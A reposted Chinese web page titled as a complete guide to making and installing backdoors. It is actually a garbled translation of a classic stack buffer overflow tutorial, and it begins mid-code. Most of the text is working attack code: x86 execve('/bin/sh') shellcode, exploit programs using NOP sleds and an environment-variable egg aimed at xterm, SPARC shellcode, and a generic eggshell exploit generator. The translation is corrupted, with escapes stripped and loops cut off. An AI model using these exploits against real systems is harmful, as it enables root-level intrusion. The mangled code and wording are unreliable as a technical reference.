设为主页 | 加入收藏 | 繁體中文

最全的后门制作及安装技术


  }
  void main()
  {
  char large_string[256];
  int i;
  for( i = 0; i < 255; i++)
  large_string[i] = 'A';
  function(large_string);
  }
  这段程序中就存在 Buffer Overflow 的问题. 我们
  可以看到, 传递给function的字符串长度要比buffer
  大很多,而function没有颠末任何长度校验间接用
  strcpy将长字符串拷入buffer. 要是你执行这个程序
  的话,体系会陈诉一个 Segmentation Violation 错
  误.下面我们就来阐发一下为什么会如许?
  首先我们看一下未执行strcpy时货仓中的环境:
  16   4   4     4
  ...[buffer] [ebp] [ret地址] [large_string地址]
  |      |
  esp     ebp
  当执行strcpy时, 程序将256 Bytes拷入buffer中,但
  是buffer只能包容16 Bytes,那么这时会产生什么情
  况呢? 因为C言语并不举行界限查抄, 所以结果是
  buffer背面的250字节的内容也被笼罩掉了,这此中自
  然也包罗ebp, ret地址 ,large_string地址.因为此
  时ret地址酿成了0x41414141h ,所以当过程结束返回
  时,它将返回到0x41414141h地址处继续执行,但由于
  这个地址并不在程序现实使用的虚存空间范围内,所
  以体系会报Segmentation Violation.
  从下面的例子中不丢脸出,我们可以经过Buffer
  Overflow来改变在货仓中寄存的过程返回地址,从而
  改变整个程序的流程,使它转向任何我们想要它去的
  地方.这就为黑客们提供了可乘之机, 最常见的方法
  是: 在长字符串中嵌入一段代码,并将过程的返回地
  址笼罩为这段代码的地址, 如许当过程返回时,程序
  就转而开端执行这段我们自编的代码了. 一般来说,
  这段代码都是执行一个Shell程序(如 insh),因为这
  样的话,当我们入侵一个带有Buffer Overflow缺陷且
  具有suid-root属性的程序时,我们会失掉一个具有
  root权限的shell,在这个shell中我们可以干任何事.
  因此, 这段代码一般被称为Shell Code.
  下面我们就来看一下如何编写Shell Code.
  ---------------------------------------------
  -----------------------------------
  3. Shell Code 的编写
  下面是一个创建Shell的C程序shellcode.c: (本文以
  IntelX86上的Linux为例说明)
  void main() {
  char *name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
  }
  我们先将它编译为执行代码,然后再用gdb来阐发一下
  .(注意编译时要用-static选项,不然execve的代码将
  不会放入执行代码,而是作为静态链接在运行时才链
  入.)
  ---------------------------------------------
  ---------------------------------
  [aleph1]$ gcc -o shellcode -ggdb -static
  shellcode.c
  [aleph1]$ gdb shellcode
  GDB is free software and you are welcome to
  distribute copies of it
  under certain conditions; type "show copying"
  to see the conditions.
  There is absolutely no warranty for GDB; type
  "show warranty" for details.
  GDB 4.15 (i586-unknown-linux), Copyright 1995
  Free Software Foundation, Inc...
  (gdb) disassemble main
  Dump of assembler code for function main:
  0x8000130
: pushl %ebp
  0x8000131 : movl %esp,%ebp
  0x8000133 : subl $0x8,%esp
  0x8000136 : movl
  $0x80027b8,0xfffffff8(%ebp)
  0x800013d : movl $0x0,0xfffffffc(%
  ebp)
  0x8000144 : pushl $0x0
  0x8000146 : leal 0xfffffff8(%ebp),%
  eax
  0x8000149 : pushl %eax
  0x800014a : movl 0xfffffff8(%ebp),%
  eax
  0x800014d : pushl %eax
  0x800014e : call 0x80002bc <__execve>
  0x8000153 : addl $0xc,%esp
  0x8000156 : movl %ebp,%esp
  0x8000158 : popl %ebp
  0x8000159 : ret
  End of assembler dump.
  (gdb) disassemble __execve
  Dump of assembler code for function __execve:
  0x80002bc <__execve>: pushl %ebp
  0x80002bd <__execve+1>: movl %esp,%ebp
  0x80002bf <__execve+3>: pushl %ebx
  0x80002c0 <__execve+4>: movl $0xb,%eax
  0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  0x80002ce <__execve+18>: int $0x80
  0x80002d0 <__execve+20>: movl %eax,%edx
  0x80002d2 <__execve+22>: testl %edx,%edx
  0x80002d4 <__execve+24>: jnl 0x80002e6
  <__execve+42>
  0x80002d6 <__execve+26>: negl %edx
  0x80002d8 <__execve+28>: pushl %edx
  0x80002d9 <__execve+29>: call 0x8001a34
  <__normal_errno_location>
  0x80002de <__execve+34>: popl %edx
  0x80002df <__execve+35>: movl %edx,(%eax)
  0x80002e1 <__execve+37>: movl $0xffffffff,%eax
  0x80002e6 <__execve+42>: popl %ebx
  0x80002e7 <__execve+43>: movl %ebp,%esp
  0x80002e9 <__execve+45>: popl %ebp
  0x80002ea <__execve+46>: ret
  0x80002eb <__execve+47>: nop
  End of assembler dump.
  下面我们来首先来阐发一下main代码中每条语句的作
  用:
  0x8000130
: pushl %ebp
  0x8000131 : movl %esp,%ebp
  0x8000133 : subl $0x8,%esp
  这跟前面的例子一样,也是一段函数的入口处理,保存
  曩昔的栈帧指针,更新栈帧指针,最后为部分变量留出
  空间.在这里,部分变量为:
  char *name[2];
  也便是两个字符指针.每个字符指针占用4个字节,所
  以总共留出了 8 个字节的地位.
  0x8000136 : movl
  $0x80027b8,0xfffffff8(%ebp)
  这里, 将字符串"/bin/sh"的地址放入name[0]的内存
  单位中, 也便是相称于 :
  name[0] = "/bin/sh";
  0x800013d : movl $0x0,0xfffffffc(%
  ebp)
  将NULL放入name[1]的内存单位中, 也便是相称于:
  name[1] = NULL;
  对execve()的调用从下面开端:
  0x8000144 : pushl $0x0
  开端将参数以逆序压入货仓, 第一个是NULL.
  0x8000146 : leal 0xfffffff8(%ebp),%
  eax
  0x8000149 : pushl %eax
  将name[]的肇始地址压入货仓
  0x800014a : movl 0xfffffff8(%ebp),%
  eax
  0x800014d : pushl %eax
  将字符串"/bin/sh"的地址压入货仓
  0x800014e : call 0x80002bc <__execve>
  调用execve() . call 指令首先将 EIP 压入货仓
  如今我们再来看一下execve()的代码. 首先要注意的
  是, 不同的操纵体系,不同的CPU,他们产生体系调用
  的方法也不尽雷同. 有些使用软停止,有些使用长途
  调用.从参数传递的角度来说,有些使用寄存器,有些
  使用货仓.
  我们的这个例子是在基于Intel X86的Linux上运行的
  .所以我们首先应该知道Linux中,体系调用以软中
  断的方式产生( INT 80h),参数是经过寄存器传递给
  体系的.
  0x80002bc <__execve>:  pushl %ebp
  0x80002bd <__execve+1>: movl %esp,%ebp
  0x80002bf <__execve+3>: pushl %ebx
  同样的入口处理
  0x80002c0 <__execve+4>: movl $0xb,%eax
  将0xb(11)赋给eax , 这是execve()在体系中的索引
  号.
  0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  将字符串"/bin/sh"的地址赋给ebx
  0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  将name[]的地址赋给ecx
  0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  将NULL的地址赋给edx
  0x80002ce <__execve+18>: int $0x80
  产生体系调用,进入核心态运行.
  看了下面的代码,如今我们可以把它精简为下面的汇
  编言语程序:
  leal string,string_addr
  movl $0x0,null_addr
  movl $0xb,%eax
  movl string_addr,%ebx
  leal string_addr,%ecx
  leal null_string,%edx
  int $0x80
  (我对Linux的汇编言语格式相识不多,所以这几句使
  用的是DOS汇编言语的格式)
  string db "/bin/sh",0
  string_addr dd 0
  null_addr  dd 0
  但是这段代码中还存在着一个问题 ,便是我们在编写
  ShellCode时并不知道这段程序执行时在内存中所处
  的地位,所以像:
  movl string_addr,%ebx
  这种必要将相对地址编码进呆板言语的指令根本就没
  法使用.
  解决这个问题的一个措施便是使用一条额外的JMP和
  CALL指令. 因为这两条指令编码使用的都是 相对付
  IP的偏移地址而不是相对地址, 所以我们可以在
  ShellCode的最开端参加一条JMP指令, 在string前加
  入一条CALL指令. 只需我们盘算好程序编码的字节长
  度,就可以使JMP指令跳转到CALL指令处执行,而CALL
  指令则指向JMP的下一条指令,因为在执行CALL指令时
  ,CPU会将返回地址(在这里便是string的地址)压入堆
  栈,所以如许我们就可以在运行时失掉string的相对
  地址.经过这个地址加偏移的间接寻址方法,我们还可
  以很方便地存取string_addr和null_addr.
  颠末下面的修正,我们的ShellCode酿成了下面的样子
  :
  jmp 0x20
  popl esi
  movb $0x0,0x7(%esi)
  movl %esi,0x8(%esi)
  movl $0x0,0xC(%esi)
  movl $0xb,%eax
  movl %esi,%ebx
  leal 0x8(%esi),%ecx
  leal 0xC(%esi),%edx
  int $0x80
  call -0x25
  string db "/bin/sh",0
  string_addr dd 0
  null_addr  dd 0 # 2 bytes,跳转到CALL
  # 1 byte, 弹出string地址
  # 4 bytes,将string变为以''末端的字符串
  # 7 bytes
  # 5 bytes
  # 2 bytes
  # 3 bytes
  # 3 bytes
  # 2 bytes
  # 5 bytes,跳转到popl %esi
  我们知道C言语中的字符串以''末端,strcpy等函数
  遇到''就结束运行.因此为了保证我们的ShellCode能
  被完备地拷贝到Buffer中,ShellCode中一定不克不及含有
  ''. 下面我们就对它作最后一次革新,去掉此中的'':
  原指令:          替换为:
  ---------------------------------------------
  -----------
  movb $0x0,0x7(%esi)    xorl %eax,%eax
  movl $0x0,0xc(%esi)    movb %eax,0x7(%
  esi)
  movl %eax,0xc(%
  esi)
  ---------------------------------------------
  -----------
  movl $0xb,%eax       movb $0xb,%al
  ---------------------------------------------
  -----------
  OK! 如今我们可以实验一下这段ShellCode了. 首先
  我们把它封装为C言语的形式.
  ---------------------------------------------
  ---------------------------------
  void main() {
  __asm__("
  jmp 0x18       # 2 bytes
  popl %esi      # 1 byte
  movl %esi,0x8(%esi) # 3 bytes
  xorl %eax,%eax    # 2 bytes
  movb %eax,0x7(%esi) # 3 bytes
  movl %eax,0xc(%esi) # 3 bytes
  movb $0xb,%al    # 2 bytes
  movl %esi,%ebx    # 2 bytes
  leal 0x8(%esi),%ecx # 3 bytes
  leal 0xc(%esi),%edx # 3 bytes
  int $0x80      # 2 bytes
  call -0x2d      # 5 bytes
  .string "/bin/sh" # 8 bytes
  ");
  }
  ---------------------------------------------
  ---------------------------------
  颠末编译后,用gdb失掉这段汇编言语的呆板代码为:
  xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x
  0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxf
  f/bin/sh
  如今我们可以写我们的实验程序了:
  ---------------------------------------------
  ---------------------------------
  exploit1.c:
  char shellcode[] =
  "xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
  x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
  /bin/sh";
  char large_string[128];
  void main()
  {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;
  for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
  for(i=0;i   large_string[i]=shellcode[i];
  strcpy(buffer,large_string);
  }
  ---------------------------------------------
  ----------------------------------------
  在下面的程序中,我们首先用 buffer 的地址添补
  large_string[]并将ShellCode放在large_string[]
  的肇始地位,从而保证在BufferOverflow时,返回地址
  被笼罩为Buffer的地址(也便是ShellCode的入口地址
  ).然后用strcpy将large_string的内容拷入buffer,
  因为buffer只有96个字节的空间,所以这时就会产生
  Buffer Overflow. 返回地址被笼罩为ShellCode的入
  口地址. 当程序执行到main函数的末端时,它会主动
  跳转到我们的ShellCode,从而创建出一个新的Shell.
  如今我们编译运行一下这个程序:
  ---------------------------------------------
  ---------------------------------
  [aleph1]$ gcc -o exploit1 exploit1.c
  [aleph1]$ ./exploit1
  $ exit
  exit
  [aleph1]$
  ---------------------------------------------
  ---------------------------------
  OK! 可以看到,当执行test时,我们的ShellCode精确
  地执行并生成了一个新的Shell,这正是我们所希望看
  到的结果.
  但是,这个例子还仅仅是一个实验,下面我们来看一看
  在现实环境中如何使我们的ShellCode发扬作用. 
  ---------------------------------------------
  -----------------------------------
  4. 现实运用中遇到的问题
  在下面的例子中,我们成功地打击了一个我们自己
  写的有Buffer Overflow缺陷的程序.因为是我们自己
  的程序,所以在运行时我们很方便地就可以确定出
  ShellCode的入口相对地址(也便是Buffer地址),剩下
  的事情也就仅仅是用这个地址来添补large_string了
  .
  但是当我们试图打击一个其他程序时,问题就呈现
  了.我们怎样知道运行时Shell Code所处的相对地址
  呢? 不知道这个地址, 我们用什么来添补
  large_string,用什么来笼罩返回地址呢? 不知道用
  什么来笼罩返回地址,ShellCode如何能失掉控制权呢
  ? 而要是得不到控制权,我们也就无法成功地打击这
  个程序,那么我们下面所做的所有事情都白搭了.由此
  可以看出,这个问题是我们要解决的一个关键问题.
  幸亏对付所有程序来说货仓的肇始地址是一样的,
  并且在拷贝ShellCode之前,货仓中曾经存在的栈帧一
  般来说并不多,长度大抵在一两百到几千字节的范围
  内.因此,我们可以经过猜测加实验的措施终极找到
  ShellCode的入口地址.
  下面便是一个打印货仓肇始地址的程序:
  sp.c
  ---------------------------------------------
  ---------------------------------
  unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
  }
  void main() {
  printf("0x%x ", get_sp());
  }
  ---------------------------------------------
  ---------------------------------
  [aleph1]$ ./sp
  0x8000470
  [aleph1]$
  ---------------------------------------------
  ---------------------------------
  下面所说的方法虽然能解决这个问题, 但只需你轻微
  想一想就知道这个方法并不实用. 因为这个方法要求
  你在货仓段中正确地猜中ShellCode的入口,偏差一个
  字节都不可.要是你运气好的话, 可能只需猜几十次
  就猜中了,但一般环境是,你必需要猜几百次到几千次
  才气猜中.而在你能够猜中前,我想大部分人都曾经放
  弃了.所以我们必要一种服从更高的方法来只管即便减少
  我们的实验次数.
  一个最简略的方法便是将ShellCode放在
  large_string的中部,而前面则同等添补为NOP指令
  (NOP指令是一个任何事都不做的指令,主要用于延时
  操纵,几乎所有CPU都支持NOP指令).如许,只需我们猜
  的地址落在这个NOP指令串中,那么程序就会不停执行
  直至执行到ShellCode(如下图).如许一来,我们猜中
  的概率就大多了(曩昔必需要猜中ShellCode的入口地
  址,如今只需猜中NOP指令串中的任何一个地址即可).
  低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF 
  FFFF FFFF FFFF 高端内存
  栈顶   89ABCDEF0123456789AB CDEF 0123 
  4567 89AB CDEF 栈底
  buffer        ebp  ret  
  a  b   c
  <------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE]
  [0xDE][0xDE][0xDE]
  ^           |
  |___________|
  如今我们就可以凭据这个方法编写我们的打击程序了
  .
  exploit2.c
  ---------------------------------------------
  ---------------------------------
  #include
  #define DEFAULT_OFFSET 0
  #define DEFAULT_BUFFER_SIZE 512
  #define NOP 0x90
  char shellcode[] =
  "xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
  x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
  /bin/sh";
  unsigned long get_sp(void)
  {
  __asm__("movl %esp,%eax");
  }
  void main(int argc, char *argv[])
  {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET,
  bsize=DEFAULT_BUFFER_SIZE;
  int i;
  if (argc > 1) bsize = atoi(argv[1]);
  if (argc > 2) offset= atoi(argv[2]);
  if (!(buff = malloc(bsize)))
  {
  printf("Can't allocate memory. ");
  exit(0);
  }
  addr=get_sp()-offset;
  printf("Using address: 0x%x ", addr);
  ptr=buff;
  addr_ptr=(long *)ptr;
  for(i=0;i   添补猜测的入口地址
  for(i=0;i   充NOP
  ptr = buff + ((bsize/2) - (strlen
  (shellcode)/2));
  for (i=0;i   =shellcode[i]; //中间添补Shell Code
  buff[bsize-1]='';
  memcpy(buff,"EGG=",4); //将生成的字符串保存再
  环境变量EGG中.
  putenv(buff);
  system("/bin/bash");
  }
  ---------------------------------------------
  ---------------------------------
  好,如今我们来实验一下这个程序的效能如何.这次的
  打击目标是xterm(所有链接了Xt Library的程序都有
  此缺陷). 首先确保X Server在运行并且容许当地连
  接.
  ---------------------------------------------
  ---------------------------------
  [aleph1]$ export DISPLAY=:0.0
  [aleph1]$ ./exploit2 1124
  Using address: 0xbffffdb4
  [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  Warning: some arguments in previous message
  were lost
  bash$
  ---------------------------------------------
  ---------------------------------
  OK! 看来我们的程序的确很好用.要是xterm有suid-
  root属性,那么这个shell便是一个具有root权限的
  Shell了.
  ---------------------------------------------
  -----------------------------------
  Appendix A - 若干操纵体系/平台上的 Shell Code
  i386/Linux
  ---------------------------------------------
  ---------------------------------
  jmp 0x1f
  popl %esi
  movl %esi,0x8(%esi)
  xorl %eax,%eax
  movb %eax,0x7(%esi)
  movl %eax,0xc(%esi)
  movb $0xb,%al
  movl %esi,%ebx
  leal 0x8(%esi),%ecx
  leal 0xc(%esi),%edx
  int $0x80
  xorl %ebx,%ebx
  movl %ebx,%eax
  inc %eax
  int $0x80
  call -0x24
  .string "/bin/sh"
  ---------------------------------------------
  ---------------------------------
  SPARC/Solaris
  ---------------------------------------------
  ---------------------------------
  sethi 0xbd89a, %l6
  or %l6, 0x16e, %l6
  sethi 0xbdcda, %l7
  and %sp, %sp, %o0
  add %sp, 8, %o1
  xor %o2, %o2, %o2
  add %sp, 16, %sp
  std %l6, [%sp - 16]
  st %sp, [%sp - 8]
  st %g0, [%sp - 4]
  mov 0x3b, %g1
  ta 8
  xor %o7, %o7, %o0
  mov 1, %g1
  ta 8
  ---------------------------------------------
  ---------------------------------
  SPARC/SunOS
  ---------------------------------------------
  ---------------------------------
  sethi 0xbd89a, %l6
  or %l6, 0x16e, %l6
  sethi 0xbdcda, %l7
  and %sp, %sp, %o0
  add %sp, 8, %o1
  xor %o2, %o2, %o2
  add %sp, 16, %sp
  std %l6, [%sp - 16]
  st %sp, [%sp - 8]
  st %g0, [%sp - 4]
  mov 0x3b, %g1
  mov -0x1, %l5
  ta %l5 + 1
  xor %o7, %o7, %o0
  mov 1, %g1
  ta %l5 + 1
  ---------------------------------------------
  -----------------------------------
  Appendix B - 通用 Buffer Overflow 打击程序
  shellcode.h
  ---------------------------------------------
  ---------------------------------
  #if defined(__i386__) && defined(__linux__)
  #define NOP_SIZE 1
  char nop[] = "x90";
  char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
  x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40
  xcd"
  "x80xe8xdcxffxffxff/bin/sh";
  unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
  }
  #elif defined(__sparc__) && defined(__sun__)
  && defined(__svr4__)
  #define NOP_SIZE 4
  char nop[]="xacx15xa1x6e";
  char shellcode[] =
  "x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80
  x0e"
  "x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbf
  xf0"
  "xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20
  x08"
  "x90x1bxc0x0fx82x10x20x01x91xd0x20x08";
  unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
  }
  #elif defined(__sparc__) && defined(__sun__)
  #define NOP_SIZE 4
  char nop[]="xacx15xa1x6e";
  char shellcode[] =
  "x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80
  x0e"
  "x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbf
  xf0"
  "xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3f
  xff"
  "x91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60
  x01";
  unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
  }
  #endif
  ---------------------------------------------
  ---------------------------------
  eggshell.c
  ---------------------------------------------
  ---------------------------------
  /*
  * eggshell v1.0
  *
  * Aleph One / aleph1@underground.org
  */
  #include
  #include
  #include "shellcode.h"
  #define DEFAULT_OFFSET 0
  #define DEFAULT_BUFFER_SIZE 512
  #define DEFAULT_EGG_SIZE 2048
  void usage(void);
  void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET,
  bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0,
  eggsize=DEFAULT_EGG_SIZE;
  while ((c = getopt(argc, argv, "a:b:e:o:")) !=
  EOF)
  switch ? {
  case 'a':
  align = atoi(optarg);
  break;
  case 'b':
  bsize = atoi(optarg);
  break;
  case 'e':
  eggsize = atoi(optarg);
  break;
  case 'o':
  offset = atoi(optarg);
  break;
  case '?':
  usage();
  exit(0);
  }
  if (strlen(shellcode) > eggsize) {
  printf("Shellcode is larger the the egg. ");
  exit(0);
  }
  if (!(bof = malloc(bsize))) {
  printf("Can't allocate memory. ");
  exit(0);
  }
  if (!(egg = malloc(eggsize))) {
  printf("Can't allocate memory. ");
  exit(0);
  }
  addr = get_sp() - offset;
  printf("[ Buffer size: %d Egg size: %d
  Aligment: %d ] ",
  bsize, eggsize, align);
  printf("[ Address: 0x%x Offset: %d ] ", addr,
  offset);
  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
  *(addr_ptr++) = addr;
  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) -
  NOP_SIZE; i += NOP_SIZE)
  for (n = 0; n < NOP_SIZE; n++) {
  m = (n + align) % NOP_SIZE;
  *(ptr++) = nop[m];
  }
  for (i = 0; i < strlen(shellcode); i++)
  *(ptr++) = shellcode[i];
  bof[bsize - 1] = '';
  egg[eggsize - 1] = '';
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
  }
  void usage(void) {
  (void)fprintf(stderr,
  "usage: eggshell [-a ] [-b ] [-e ] [-o ] ");
  }'
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: